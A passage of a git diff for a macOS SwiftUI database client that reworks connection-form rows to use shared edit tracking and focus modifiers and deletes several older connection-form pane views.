selection: Value @@ -151,8 +151,6 @@ struct SSHAndProxiesPicker: View { private let subtitle: String? private let content: Content - @State private var isEdited = false - init( _ title: String, selection: Binding, @@ -170,13 +168,13 @@ struct SSHAndProxiesPicker: View { } var body: some View { - Picker(selection: $selection) { + Picker(selection: store.tracking($selection, row: row)) { content } label: { - EditorRowLabel(title, row: row, store: store, subtitle: subtitle, isEdited: isEdited) + EditorRowLabel(title, row: row, store: store, subtitle: subtitle) } .accessibilityIdentifier(row.accessibilityIdentifier) - .onChange(of: selection) { _ in isEdited = true } + .editorRowFocus(row, store: store) } } @@ -274,5 +272,6 @@ private struct SSHAndProxiesMissingProfileRow: View { } label: { NoticeLabel(message, severity: .warning) } + .editorRowFocus(row, store: store) } } diff --git a/apple/TablePro/Views/ConnectionForm/Facets/SSLFacetView.swift b/apple/TablePro/Views/ConnectionForm/Facets/SSLFacetView.swift index d959fc5d06..3213d9ea65 100644 --- a/apple/TablePro/Views/ConnectionForm/Facets/SSLFacetView.swift +++ b/apple/TablePro/Views/ConnectionForm/Facets/SSLFacetView.swift @@ -128,7 +128,7 @@ struct SSLModeRow: View { var body: some View { let offered = store.offeredSSLModes let current = store.draft.ssl.mode - Picker(selection: store.sslModeBinding) { + Picker(selection: store.tracking(store.sslModeBinding, row: .builtIn(.sslMode))) { ForEach(offered) { mode in Text(verbatim: mode.displayLabel).tag(mode) } @@ -142,6 +142,7 @@ struct SSLModeRow: View { EditorRowLabel(String(localized: "SSL Mode"), row: .builtIn(.sslMode), store: store) } .accessibilityIdentifier(BuiltInRow.sslMode.accessibilityIdentifier) + .editorRowFocus(.builtIn(.sslMode), store: store) } } diff --git a/apple/TablePro/Views/ConnectionForm/Facets/SafeModeFacetView.swift b/apple/TablePro/Views/ConnectionForm/Facets/SafeModeFacetView.swift index 0b3f3f921f..8a0ef2a2be 100644 --- a/apple/TablePro/Views/ConnectionForm/Facets/SafeModeFacetView.swift +++ b/apple/TablePro/Views/ConnectionForm/Facets/SafeModeFacetView.swift @@ -36,11 +36,12 @@ struct SafeModeFacetView: View { case .builtIn(.safeModeLevel): safeModeLevelRow(row) case .builtIn(.manualCommit): - Toggle(isOn: store.manualCommitBinding) { + Toggle(isOn: store.tracking(store.manualCommitBinding, row: row)) { EditorRowLabel(String(localized: "Manual Commit"), row: row, store: store) } .disabled(!store.traits.manualCommitAvailable) .accessibilityIdentifier(row.accessibilityIdentifier) + .editorRowFocus(row, store: store) case .builtIn(.maskingRules): maskingRuleRows case .plugin(let fieldID): @@ -61,8 +62,9 @@ struct SafeModeFacetView: View { } label: { EditorRowLabel(String(localized: "Safe Mode"), row: row, store: store) } + .editorRowFocus(row, store: store) } else { - Picker(selection: store.safeModeLevelBinding) { + Picker(selection: store.tracking(store.safeModeLevelBinding, row: row)) { ForEach(levels) { level in Text(verbatim: level.displayName).tag(level) } @@ -70,6 +72,7 @@ struct SafeModeFacetView: View { EditorRowLabel(String(localized: "Safe Mode"), row: row, store: store) } .accessibilityIdentifier(row.accessibilityIdentifier) + .editorRowFocus(row, store: store) } } @@ -78,13 +81,17 @@ struct SafeModeFacetView: View { let rules = store.draft.safety.maskingRules ForEach(rules) { rule in SafeModeMaskingRuleRow( - rule: store.maskingRuleBinding(rule.id), + rule: store.tracking(store.maskingRuleBinding(rule.id), row: .builtIn(.maskingRules)), focusedRule: $focusedRule, - onRemove: { store.removeMaskingRule(id: rule.id) } + onRemove: { + store.noteEdited(.builtIn(.maskingRules)) + store.removeMaskingRule(id: rule.id) + } ) } LabeledContent { Button(String(localized: "Add Rule")) { + store.noteEdited(.builtIn(.maskingRules)) let id = store.addMaskingRule() // The new row is not in the form until the next update. DispatchQueue.main.async { focusedRule = id } @@ -96,6 +103,9 @@ struct SafeModeFacetView: View { .foregroundStyle(.secondary) } } + .onEditorFocusRequest(.builtIn(.maskingRules), store: store) { + focusedRule = store.draft.safety.maskingRules.first?.id + } } } diff --git a/apple/TablePro/Views/ConnectionForm/Facets/TransportProxyRows.swift b/apple/TablePro/Views/ConnectionForm/Facets/TransportProxyRows.swift index a46c691cb7..d21193f1b7 100644 --- a/apple/TablePro/Views/ConnectionForm/Facets/TransportProxyRows.swift +++ b/apple/TablePro/Views/ConnectionForm/Facets/TransportProxyRows.swift @@ -73,6 +73,7 @@ struct TransportCloudflareRow: View { .textSelection(.enabled) } } + .editorRowFocus(editorRow, store: store) } } @@ -168,8 +169,6 @@ struct TransportToggle: View { private let row: EditorRow @ObservedObject private var store: ConnectionEditorStore - @State private var isEdited = false - init(_ title: String, isOn: Binding, row: EditorRow, store: ConnectionEditorStore) { self.title = title _isOn = isOn @@ -178,11 +177,11 @@ struct TransportToggle: View { } var body: some View { - Toggle(isOn: $isOn) { - EditorRowLabel(title, row: row, store: store, isEdited: isEdited) + Toggle(isOn: store.tracking($isOn, row: row)) { + EditorRowLabel(title, row: row, store: store) } .accessibilityIdentifier(row.accessibilityIdentifier) - .onChange(of: isOn) { _ in isEdited = true } + .editorRowFocus(row, store: store) } } @@ -214,13 +213,14 @@ struct TransportBinaryRow: View { var body: some View { LabeledContent { HStack(spacing: 8) { - TextField(String(localized: "Path"), text: $path, prompt: Text(String(localized: "Automatic"))) + TextField(String(localized: "Path"), text: store.tracking($path, row: row), prompt: Text(String(localized: "Automatic"))) .labelsHidden() .autocorrectionDisabled() .accessibilityIdentifier(row.accessibilityIdentifier) Button(String(localized: "Choose…")) { Task { if let chosen = await TransportFilePanel.chooseExecutable(currentPath: path, store: store) { + store.noteEdited(row) path = chosen } } @@ -237,6 +237,7 @@ struct TransportBinaryRow: View { Text(String(localized: "Path")) status } + .editorRowFocus(row, store: store) if case .downloading(let fraction) = downloadPhase { LabeledContent { diff --git a/apple/TablePro/Views/ConnectionForm/Panes/AppearancePaneView.swift b/apple/TablePro/Views/ConnectionForm/Panes/AppearancePaneView.swift deleted file mode 100644 index f01c785289..0000000000 --- a/apple/TablePro/Views/ConnectionForm/Panes/AppearancePaneView.swift +++ /dev/null @@ -1,37 +0,0 @@ -// -// AppearancePaneView.swift -// TablePro -// - -import SwiftUI - -/// How this connection is recognised in the connection list and the window chrome. -struct AppearancePaneView: View { - @ObservedObject var coordinator: ConnectionFormCoordinator - - var body: some View { - Section { - LabeledContent(String(localized: "Icon")) { - SymbolWell( - iconName: $coordinator.customization.iconName, - subject: .connection(coordinator.network.type), - color: coordinator.customization.color, - accessibilityIdentifier: "connection-form-icon" - ) - } - LabeledContent(String(localized: "Color")) { - ConnectionColorPicker(selectedColor: $coordinator.customization.color) - } - LabeledContent(String(localized: "Tags")) { - ConnectionTagEditor(tagIds: $coordinator.customization.tagIds) - } - LabeledContent(String(localized: "Group")) { - ConnectionGroupPicker(selectedGroupId: $coordinator.customization.groupId) - } - } footer: { - Text(String(localized: "The icon and color mark this connection in the connection list and its window.")) - .font(.caption) - .foregroundStyle(.secondary) - } - } -} diff --git a/apple/TablePro/Views/ConnectionForm/Panes/GeneralPaneView.swift b/apple/TablePro/Views/ConnectionForm/Panes/GeneralPaneView.swift deleted file mode 100644 index ff953b55d4..0000000000 --- a/apple/TablePro/Views/ConnectionForm/Panes/GeneralPaneView.swift +++ /dev/null @@ -1,429 +0,0 @@ -// -// GeneralPaneView.swift -// TablePro -// - -import AppKit -import SwiftUI -import TableProPluginKit -import UniformTypeIdentifiers - -/// What a connection is: its name, its type, where it lives, and who it signs in as. -/// -/// Everything about how the bytes get there belongs to `NetworkPaneView`, so a connection that -/// needs no tunnel and no TLS never sees a control about either. -struct GeneralPaneView: View { - @ObservedObject var coordinator: ConnectionFormCoordinator - let nameFocused: FocusState.Binding - - private var type: DatabaseType { coordinator.network.type } - private var connectionMode: ConnectionMode { - PluginManager.shared.connectionMode(for: type) - } - - private var showsBuiltInDatabaseField: Bool { - coordinator.network.showsBuiltInDatabaseField - } - - var body: some View { - Group { - identitySection - connectionSection - authenticationSection - } - } - - // MARK: - Identity - - private var identitySection: some View { - Section { - TextField( - String(localized: "Name"), - text: $coordinator.network.name, - prompt: Text(String(localized: "Connection name")) - ) - .focused(nameFocused) - .accessibilityIdentifier("connection-form-name") - - LabeledContent(String(localized: "Type")) { - HStack(spacing: 8) { - ConnectionTile( - type: type, - identityColor: coordinator.customization.color.isDefault ? nil : coordinator.customization.color, - size: 22 - ) - Text(type.rawValue) - Spacer(minLength: 8) - Button(String(localized: "Change…")) { - coordinator.isChoosingType = true - } - .controlSize(.small) - .accessibilityIdentifier("connection-form-change-type") - } - } - - Picker(String(localized: "Environment"), selection: $coordinator.customization.environment) { - ForEach(ConnectionEnvironment.allCases) { environment in - environmentLabel(environment).tag(environment) - } - } - .accessibilityIdentifier("connection-form-environment") - } - } - - @ViewBuilder - private func environmentLabel(_ environment: ConnectionEnvironment) -> some View { - if let symbol = environment.symbolName { - Label(environment.displayName, systemImage: symbol) - } else { - Text(environment.displayName) - } - } - - // MARK: - Connection - - @ViewBuilder - private var connectionSection: some View { - switch connectionMode { - case .fileBased: - Section(String(localized: "Database File")) { - HStack { - TextField( - String(localized: "File Path"), - text: $coordinator.network.database, - prompt: Text(filePathPrompt) - ) - .accessibilityIdentifier("connection-form-file-path") - DatabaseFileButtons(type: type, path: $coordinator.network.database) - } - } - case .apiOnly: - if showsBuiltInDatabaseField { - Section(String(localized: "Connection")) { - TextField( - containerEntityName, - text: $coordinator.network.database, - prompt: Text(containerEntityPlaceholder) - ) - } - } - case .network: - Section { - if coordinator.network.supportsLocalSocket { - LocalSocketEndpointPicker(coordinator: coordinator) - } - if coordinator.network.usesLocalSocket { - LocalSocketPathField(coordinator: coordinator) - if coordinator.network.localSocketIsDirectory { - portField - } - } else { - hostFieldsView - } - if showsBuiltInDatabaseField { - TextField( - containerEntityName, - text: $coordinator.network.database, - prompt: Text(containerEntityPlaceholder) - ) - } - } header: { - Text(String(localized: "Connection")) - } footer: { - if coordinator.network.usesLocalSocket { - LocalSocketFooter( - status: coordinator.network.localSocketFileStatus, - socketFile: coordinator.network.resolvedLocalSocketEndpoint?.socketFile, - isDirectory: coordinator.network.localSocketIsDirectory - ) - } else if usesForwardSocket { - Text(String(localized: """ - Host and Port are unused. The SSH tunnel forwards to the socket path set \ - on the Network tab. - """)) - .font(.caption) - .foregroundStyle(.secondary) - } - } - } - } - - private var containerEntityName: String { - PluginManager.shared.containerEntityName(for: type) - } - - private var containerEntityPlaceholder: String { - String(format: String(localized: "%@_name"), containerEntityName.lowercased()) - } - - @ViewBuilder - private var hostFieldsView: some View { - let connectionFields = coordinator.network.connectionFields - if coordinator.network.hasHostListField { - ForEach(connectionFields, id: \.id) { field in - if case .hostList = field.fieldType, coordinator.network.isFieldVisible(field) { - HostListFieldRow( - label: field.label, - placeholder: field.placeholder, - defaultPort: type.defaultPort, - value: networkFieldBinding(for: field) - ) - .accessibilityIdentifier("connection-field-\(field.id)") - } - } - } else { - TextField( - String(localized: "Host"), - text: $coordinator.network.host, - prompt: Text("localhost") - ) - .accessibilityIdentifier("connection-form-host") - .disabled(usesForwardSocket) - portField - .disabled(usesForwardSocket) - portTLSNotice - } - ForEach(connectionFields, id: \.id) { field in - if !isHostListField(field) && coordinator.network.isFieldVisible(field) { - ConnectionFieldRow( - field: field, - value: networkFieldBinding(for: field) - ) - } - } - } - - private var portField: some View { - TextField( - String(localized: "Port"), - text: portBinding, - prompt: Text(defaultPortString) - ) - .accessibilityIdentifier("connection-form-port") - } - - private var usesForwardSocket: Bool { - coordinator.ssh.state.enabled && coordinator.network.forwardsToUnixSocket - } - - private var portBinding: Binding { - Binding( - get: { coordinator.network.port }, - set: { coordinator.network.setPort($0) } - ) - } - - @ViewBuilder - private var portTLSNotice: some View { - let port = coordinator.network.resolvedPort - if coordinator.supportsSSL, let impliedMode = type.impliedSSLMode(forPort: port) { - if coordinator.ssl.mode == impliedMode { - Text(String( - format: String(localized: "Port %lld uses TLS, so SSL Mode is %@."), - port, - impliedMode.displayLabel - )) - .font(.caption) - .foregroundStyle(.secondary) - .accessibilityIdentifier("connection-form-port-tls-note") - } else if coordinator.ssl.mode == .disabled { - HStack { - NoticeLabel(String(format: String(localized: "Port %lld usually requires TLS, and SSL Mode is Disabled."), port)) - .font(.caption) - Spacer() - Button(String(format: String(localized: "Use %@"), impliedMode.displayLabel)) { - coordinator.ssl.select(impliedMode) - } - .controlSize(.small) - .accessibilityIdentifier("connection-form-port-tls-use") - } - } - } - } - - // MARK: - Authentication - - @ViewBuilder - private var authenticationSection: some View { - if connectionMode != .fileBased { - let authFields = coordinator.auth.authFields.splitCredentialControllers() - Section(String(localized: "Authentication")) { - /// Shown for API-only engines too. Their credentials are plugin secure fields, - /// which a profile carries, and hiding the picker left a connection changed from a - /// network type to an API-only one stuck in a profile with no control to leave it. - CredentialProfilePicker(auth: coordinator.auth) - if coordinator.auth.usesCredentialProfile { - ForEach(authFields.rest, id: \.id) { field in - authFieldRow(field) - } - } else { - ForEach(authFields.usernameControllers, id: \.id) { field in - authFieldRow(field) - } - if connectionMode == .network && !coordinator.auth.hidesUsername { - TextField( - String(localized: "Username"), - text: $coordinator.auth.username - ) - .accessibilityIdentifier("connection-form-username") - } - ForEach(authFields.passwordControllers, id: \.id) { field in - authFieldRow(field) - } - if !coordinator.auth.hidesPassword { - PasswordPromptToggle(coordinator: coordinator) - } - ForEach(authFields.rest, id: \.id) { field in - authFieldRow(field) - } - kerberosCaption - if coordinator.auth.usePgpass { - pgpassStatusView - } - } - } - } - } - - @ViewBuilder - private func authFieldRow(_ field: ConnectionField) -> some View { - if coordinator.auth.isFieldVisible(field) { - if isLocalDatabaseFileField(field) { - HStack { - ConnectionFieldRow(field: field, value: authFieldBinding(for: field)) - DatabaseFileButtons(type: type, path: authFieldBinding(for: field)) - } - } else if FilePathConnectionFieldRow.isFilePathField(field) { - FilePathConnectionFieldRow( - field: field, - value: authFieldBinding(for: field), - onBrowse: { browseForAuthFile(field: field) } - ) - } else { - ConnectionFieldRow( - field: field, - value: authFieldBinding(for: field) - ) - } - } - } - - @ViewBuilder - private var pgpassStatusView: some View { - switch coordinator.auth.pgpassStatus { - case .notChecked: - EmptyView() - case .fileNotFound: - NoticeLabel(String(localized: "~/.pgpass not found")) - .font(.caption) - case .badPermissions: - NoticeLabel(String(localized: "~/.pgpass has incorrect permissions (needs chmod 0600)")) - .font(.caption) - case .matchFound: - NoticeLabel(String(localized: "~/.pgpass found, matching entry exists"), severity: .success) - .font(.caption) - case .noMatch: - NoticeLabel(String(localized: "~/.pgpass found, no matching entry")) - .font(.caption) - } - } - - @ViewBuilder - private var kerberosCaption: some View { - if usesWindowsAuthentication || KerberosAuthFields.isSelected(in: coordinator.auth.additionalFieldValues) { - NoticeLabel( - String(localized: "Leave the principal and password blank to use your existing Kerberos ticket. Run kinit user@REALM.COM in Terminal first if you don't have one."), - severity: .info - ) - .font(.caption) - // MariaDB's server names its own principal, so only these two take it from the host. - if hostIsIPAddress, usesWindowsAuthentication || type.pluginTypeId == "PostgreSQL" { - NoticeLabel(kerberosHostWarning) - .font(.caption) - } - } - } - - private var kerberosHostWarning: String { - if usesWindowsAuthentication { - return String(localized: "Windows Authentication needs the server's hostname, not an IP address. Kerberos service principals aren't registered against IP addresses.") - } - return String(localized: "Kerberos needs the server's hostname, not an IP address. Service principals aren't registered against IP addresses.") - } - - private var usesWindowsAuthentication: Bool { - type.pluginTypeId == "SQL Server" && coordinator.auth.additionalFieldValues["mssqlAuthMethod"] == "windows" - } - - private var hostIsIPAddress: Bool { - coordinator.network.resolvedHostIsIPAddress - } - - // MARK: - Helpers - - private func isHostListField(_ field: ConnectionField) -> Bool { - if case .hostList = field.fieldType { return true } - return false - } - - private func networkFieldBinding(for field: ConnectionField) -> Binding { - Binding( - get: { - coordinator.network.additionalFieldValues[field.id] - ?? field.defaultValue ?? "" - }, - set: { coordinator.network.additionalFieldValues[field.id] = $0 } - ) - } - - private func authFieldBinding(for field: ConnectionField) -> Binding { - Binding( - get: { - coordinator.auth.additionalFieldValues[field.id] - ?? field.defaultValue ?? "" - }, - set: { coordinator.auth.additionalFieldValues[field.id] = $0 } - ) - } - - private var defaultPortString: String { - let port = type.defaultPort - return port == 0 ? "" : String(port) - } - - private var filePathPrompt: String { - let extensions = PluginManager.shared.fileExtensions(for: type) - let ext = (extensions.first ?? "db") - .trimmingCharacters(in: CharacterSet(charactersIn: ". ")) - guard !ext.isEmpty else { return "/path/to/database.db" } - return "/path/to/database.\(ext)" - } - - /// DuckDB and libSQL keep their database path in a field of their own rather than in - /// `database`, and it gets the same Browse… and New… as the built-in Database File. - private func isLocalDatabaseFileField(_ field: ConnectionField) -> Bool { - PluginManager.shared.localFilePathField(for: type) == .additionalField(field.id) - } - - /// A plugin field that names some other file is not one of the driver's database kinds, so - /// this panel stays open to any file. - private func browseForAuthFile(field: ConnectionField) { - presentFilePanel(contentTypes: [.data]) { path in - coordinator.auth.additionalFieldValues[field.id] = path - } - } - - private func presentFilePanel(contentTypes: [UTType], onSelect: @escaping (String) -> Void) { - guard let window = NSApp.keyWindow else { return } - let panel = NSOpenPanel() - panel.allowedContentTypes = contentTypes - panel.allowsMultipleSelection = false - panel.canChooseDirectories = false - - panel.beginSheetModal(for: window) { response in - if response == .OK, let url = panel.url { - onSelect(url.path(percentEncoded: false)) - } - } - } -} diff --git a/apple/TablePro/Views/ConnectionForm/Panes/LocalSocketRows.swift b/apple/TablePro/Views/ConnectionForm/Panes/LocalSocketRows.swift deleted file mode 100644 index d295022658..0000000000 --- a/apple/TablePro/Views/ConnectionForm/Panes/LocalSocketRows.swift +++ /dev/null @@ -1,103 +0,0 @@ -// -// LocalSocketRows.swift -// TablePro -// - -import SwiftUI - -struct LocalSocketEndpointPicker: View { - @ObservedObject var coordinator: ConnectionFormCoordinator - - var body: some View { - Picker(String(localized: "Connect Using"), selection: endpointBinding) { - Text(String(localized: "Host and Port")).tag(NetworkPaneViewModel.Endpoint.hostAndPort) - Text(String(localized: "Socket")).tag(NetworkPaneViewModel.Endpoint.localSocket) - } - .accessibilityIdentifier("connection-form-endpoint") - } - - private var endpointBinding: Binding { - Binding( - get: { coordinator.network.endpoint }, - set: { coordinator.selectEndpoint($0) } - ) - } -} - -struct LocalSocketPathField: View { - @ObservedObject var coordinator: ConnectionFormCoordinator - - var body: some View { - let suggestions = coordinator.network.localSocketSuggestions - if suggestions.isEmpty { - TextField( - String(localized: "Socket"), - text: $coordinator.network.localSocketPath, - prompt: Text(coordinator.network.localSocketPrompt) - ) - .accessibilityIdentifier("connection-form-socket-path") - } else { - LabeledContent(String(localized: "Socket")) { - SuggestionComboBox( - suggestions: { suggestions }, - placeholder: coordinator.network.localSocketPrompt, - accessibilityLabel: String(localized: "Socket"), - accessibilityIdentifier: "connection-form-socket-path", - value: $coordinator.network.localSocketPath - ) - } - } - } -} - -struct LocalSocketFooter: View { - let status: LocalSocketFileStatus? - var socketFile: String? - var isDirectory = false - - var body: some View { - Text(message) - .font(.caption) - .foregroundStyle(.secondary) - .accessibilityIdentifier("connection-form-socket-status") - } - - private var message: String { - isDirectory ? directoryMessage : fileMessage - } - - private var fileMessage: String { - switch status { - case .missing: - return String(localized: "Nothing is at this path. Start the server, or check the path.") - case .notSocket: - return String(localized: "This file is not a socket.") - case .socket, .none: - return String(localized: "The server's socket file on this Mac. SELECT @@socket in the mysql client shows it.") - } - } - - private var directoryMessage: String { - guard let socketFile else { - return String(localized: """ - The folder with the server's socket, or the socket file. SHOW unix_socket_directories \ - in psql lists the folders. - """) - } - let file = (socketFile as NSString).abbreviatingWithTildeInPath - switch status { - case .missing: - return String( - format: String(localized: "Nothing is at %@. Start the server, or check the folder and the port."), - file - ) - case .notSocket: - return String(format: String(localized: "%@ is not a socket."), file) - case .socket, .none: - return String( - format: String(localized: "Connects to %@. The port names the socket file in the folder."), - file - ) - } - } -} diff --git a/apple/TablePro/Views/ConnectionForm/Panes/NetworkPaneView.swift b/apple/TablePro/Views/ConnectionForm/Panes/NetworkPaneView.swift deleted file mode 100644 index d7f7910bba..0000000000 --- a/apple/TablePro/Views/ConnectionForm/Panes/NetworkPaneView.swift +++ /dev/null @@ -1,98 +0,0 @@ -// -// NetworkPaneView.swift -// TablePro -// - -import SwiftUI -import TableProPluginKit -import TableProSSHConfig - -/// How the connection reaches its database: one transport, then how it is encrypted. -/// -/// The five transports used to be five sidebar panes with an Enable switch each, so the only way -/// to find out which one was on was to visit all five, and turning on a second left the connection -/// in a state `DatabaseConnection.activeTunnelKind` reports as no transport at all. One picker -/// makes that state unrepresentable. -struct NetworkPaneView: View { - @ObservedObject var coordinator: ConnectionFormCoordinator - - var body: some View { - Group { - transportPicker - transportSections - if coordinator.showsSSL { - SSLSections( - databaseType: coordinator.network.type, - usesLocalSocket: coordinator.network.usesLocalSocket, - sslMode: sslModeBinding, - sslCaCertPath: $coordinator.ssl.caCertPath, - sslClientCertPath: $coordinator.ssl.clientCertPath, - sslClientKeyPath: $coordinator.ssl.clientKeyPath, - sslClientKeyPassphrase: $coordinator.ssl.clientKeyPassphrase - ) - } - } - } - - private var sslModeBinding: Binding { - Binding( - get: { coordinator.ssl.mode }, - set: { coordinator.ssl.select($0) } - ) - } - - private var transportPicker: some View { - Section { - Picker(String(localized: "Connect via"), selection: $coordinator.transport) { - ForEach(coordinator.availableTransports, id: \.self) { transport in - Text(transport?.displayName ?? ConnectionTunnelKind.directDisplayName) - .tag(transport) - } - } - .accessibilityIdentifier("connection-form-transport") - } footer: { - Text(footerSummary) - .font(.caption) - .foregroundStyle(.secondary) - } - } - - /// "On the Server" runs statements on the host rather than fetching a copy, so the footer says - /// so instead of the copy's summary, which the `.remoteFile` getter would otherwise always show. - private var footerSummary: String { - if coordinator.transport == .remoteFile, - coordinator.supportsRemoteDatabaseSession, - coordinator.ssh.state.remoteFileAccess == .onServer { - return ConnectionTunnelKind.remoteDatabaseSession.summary - } - return coordinator.transport?.summary ?? directSummary - } - - private var directSummary: String { - ConnectionTunnelKind.directSummary( - isFileBased: coordinator.network.connectionMode == .fileBased, - usesLocalSocket: coordinator.network.usesLocalSocket, - localSocketSkipsTLS: coordinator.network.localSocketSkipsTLS - ) - } - - @ViewBuilder - private var transportSections: some View { - switch coordinator.transport { - case .none: - EmptyView() - case .ssh: - SSHTransportSections(coordinator: coordinator) - case .remoteFile, .remoteDatabaseSession: - RemoteFileTransportSections(coordinator: coordinator) - case .cloudflare: - CloudflareTransportSections(coordinator: coordinator) - case .cloudSQLProxy: - CloudSQLProxyTransportSections(coordinator: coordinator) - case .socksProxy: - SOCKSProxyTransportSections(coordinator: coordinator) - case .tunnelCommand: - TunnelCommandTransportSections(coordinator: coordinator) - } - } -} diff --git a/apple/TablePro/Views/ConnectionForm/Panes/OptionsPaneView.swift b/apple/TablePro/Views/ConnectionForm/Panes/OptionsPaneView.swift deleted file mode 100644 index 3bd7c4acd5..0000000000 --- a/apple/TablePro/Views/ConnectionForm/Panes/OptionsPaneView.swift +++ /dev/null @@ -1,555 +0,0 @@ -// -// OptionsPaneView.swift -// TablePro -// - -import AppKit -import SwiftUI -import TableProAutocomplete -import TableProPluginKit - -struct OptionsPaneView: View { - @ObservedObject private var settingsManager = AppSettingsManager.shared - @ObservedObject var coordinator: ConnectionFormCoordinator - - private var databaseType: DatabaseType { coordinator.network.type } - private var aiIsEnabled: Bool { settingsManager.ai.enabled } - - // Nil until this connection is open as the type the form shows. - private var liveDriverRunsReadOnly: Bool? { - guard let connectionId = coordinator.connectionId, - let driver = DatabaseManager.shared.driver(for: connectionId), - driver.connection.type == databaseType - else { return nil } - return driver.runsReadOnlyStatements - } - - var body: some View { - Group { - driverSection - attachedDatabasesSection - extensionsSection - timeoutSection - binaryValuesSection - completionSection - startupSection - preConnectSection - postDisconnectSection - safetySection - MaskingRulesSection(model: coordinator.maskingRules) - if aiIsEnabled { - aiRulesSection - } - if settingsManager.sync.enabled { - syncSection - } - } - } - - // MARK: - Timeouts - - private var timeoutSection: some View { - Section { - LabeledContent(String(localized: "Connect timeout")) { - HStack(spacing: 4) { - TextField( - String(localized: "Connect timeout"), - value: $coordinator.customization.connectTimeoutSeconds, - format: .number.grouping(.never), - prompt: Text(verbatim: connectTimeoutPlaceholder) - ) - .labelsHidden() - .frame(width: 100) - .multilineTextAlignment(.trailing) - .accessibilityIdentifier("connection-form-connect-timeout") - Text(String(localized: "seconds")) - .foregroundStyle(.secondary) - } - } - .help(connectTimeoutHelp) - - LabeledContent(String(localized: "Query timeout")) { - HStack(spacing: 4) { - TextField( - String(localized: "Query timeout"), - value: $coordinator.customization.queryTimeoutSeconds, - format: .number.grouping(.never), - prompt: Text(verbatim: queryTimeoutPlaceholder) - ) - .labelsHidden() - .frame(width: 100) - .multilineTextAlignment(.trailing) - .accessibilityIdentifier("connection-form-query-timeout") - Text(String(localized: "seconds")) - .foregroundStyle(.secondary) - } - } - .help(queryTimeoutHelp) - } header: { - Text(String(localized: "Timeouts")) - } footer: { - Text( - String(localized: """ - Query timeout applies only to database drivers that support it. \ - Use 0 for no limit. Reconnect to apply changes. - """) - ) - .font(.caption) - .foregroundStyle(.secondary) - } - } - - private var connectTimeoutPlaceholder: String { - String( - format: String(localized: "Default (%d)"), - ConnectionTimeoutPolicy.defaultConnectTimeoutSeconds - ) - } - - private var connectTimeoutHelp: String { - String( - format: String(localized: """ - Maximum time for TCP, TLS, authentication, tunnel, and proxy setup. \ - Leave blank to use the %d-second default. - """), - ConnectionTimeoutPolicy.defaultConnectTimeoutSeconds - ) - } - - private var queryTimeoutPlaceholder: String { - String( - format: String(localized: "Global (%d)"), - settingsManager.general.queryTimeoutSeconds - ) - } - - private var queryTimeoutHelp: String { - let globalQueryTimeoutSeconds = settingsManager.general.queryTimeoutSeconds - guard globalQueryTimeoutSeconds > 0 else { - return String(localized: """ - Leave blank to use the global setting, which has no limit. \ - This setting applies only to database drivers that support it. - """) - } - return String( - format: String(localized: """ - Leave blank to use the global %d-second timeout. \ - This setting applies only to database drivers that support it. - """), - globalQueryTimeoutSeconds - ) - } - - // MARK: - Binary values - - @ViewBuilder - private var binaryValuesSection: some View { - if PluginManager.shared.binaryLengthFunction(for: databaseType) != nil { - Section { - LabeledContent(String(localized: "Load binary values up to")) { - HStack(spacing: 4) { - TextField( - String(localized: "Load binary values up to"), - value: $coordinator.customization.binaryInlineLimitKilobytes, - format: .number.grouping(.never), - prompt: Text(verbatim: binaryInlineLimitPlaceholder) - ) - .labelsHidden() - .frame(width: 100) - .multilineTextAlignment(.trailing) - .accessibilityIdentifier("connection-form-binary-inline-limit") - Text(String(localized: "KB")) - .foregroundStyle(.secondary) - } - } - } header: { - Text(String(localized: "Table Data")) - } footer: { - Text(String(localized: """ - A larger binary value stays on the server until you open, copy or export it. \ - Applies to tables with a primary key. - """)) - .font(.caption) - .foregroundStyle(.secondary) - } - } - } - - private var binaryInlineLimitPlaceholder: String { - String(format: String(localized: "Default (%d)"), UnloadedValuePlan.defaultInlineByteLimit / 1_024) - } - - // MARK: - Autocomplete - - @ViewBuilder - private var completionSection: some View { - if databaseType.identifierRules != nil { - Section { - Picker( - String(localized: "Identifier case"), - selection: $coordinator.customization.completionIdentifierCase - ) { - ForEach(SQLIdentifierCase.allCases, id: \.self) { identifierCase in - Text(Self.title(for: identifierCase)).tag(identifierCase) - } - } - .accessibilityIdentifier("connection-form-identifier-case") - } header: { - Text(String(localized: "Autocomplete")) - } footer: { - Text(String(localized: """ - Table, column and schema names take this case in autocomplete and in Copy as INSERT \ - and UPDATE when the server reads the new spelling as the same name. Other names are \ - quoted as stored. - """)) - .font(.caption) - .foregroundStyle(.secondary) - } - } - } - - private static func title(for identifierCase: SQLIdentifierCase) -> String { - switch identifierCase { - case .asStored: return String(localized: "As stored") - case .lower: return String(localized: "lowercase") - case .upper: return String(localized: "UPPERCASE") - case .matchTyped: return String(localized: "Match what I type") - } - } - - // MARK: - Driver options - - @ViewBuilder - private var driverSection: some View { - let fields = coordinator.advanced.advancedFields - if !fields.isEmpty { - Section(databaseType.displayName) { - ForEach(fields, id: \.id) { field in - if coordinator.advanced.isFieldVisible(field) { - ConnectionFieldRow( - field: field, - value: advancedFieldBinding(for: field) - ) - } - } - } - } - } - - private func advancedFieldBinding(for field: ConnectionField) -> Binding { - Binding( - get: { - coordinator.advanced.additionalFieldValues[field.id] - ?? field.defaultValue ?? "" - }, - set: { coordinator.advanced.additionalFieldValues[field.id] = $0 } - ) - } - - // MARK: - Attached Databases - - @ViewBuilder - private var attachedDatabasesSection: some View { - if let field = coordinator.advanced.attachedDatabaseListField { - Section { - AttachedDatabaseListEditor(value: advancedFieldBinding(for: field), databaseType: databaseType) - } header: { - Text(field.label) - } footer: { - Text("Attached each time the connection opens. Reach a table as name.table, and browse each database in the sidebar.") - .font(.caption) - .foregroundStyle(.secondary) - } - } - } - - // MARK: - Extensions - - @ViewBuilder - private var extensionsSection: some View { - if let field = coordinator.advanced.extensionListField { - Section { - LoadableExtensionListEditor(value: advancedFieldBinding(for: field)) - } header: { - Text(field.label) - } footer: { - Text("Loaded in this order each time the database file opens on this Mac. An extension runs with full access to your Mac, so add only files you trust.") - .font(.caption) - .foregroundStyle(.secondary) - } - } - } - - // MARK: - Startup - - private var startupSection: some View { - Section { - StartupCommandsEditor(text: $coordinator.advanced.startupCommands, style: .code) - .frame(height: 80) - .accessibilityIdentifier("connection-form-startup-commands") - } header: { - Text(String(localized: "Startup Commands")) - } footer: { - Text("SQL commands to run after connecting, e.g. SET time_zone = 'Asia/Ho_Chi_Minh'. One per line or separated by semicolons.") - .font(.caption) - .foregroundStyle(.secondary) - } - } - - private var preConnectSection: some View { - Section { - StartupCommandsEditor(text: $coordinator.advanced.preConnectScript, style: .code) - .frame(height: 80) - 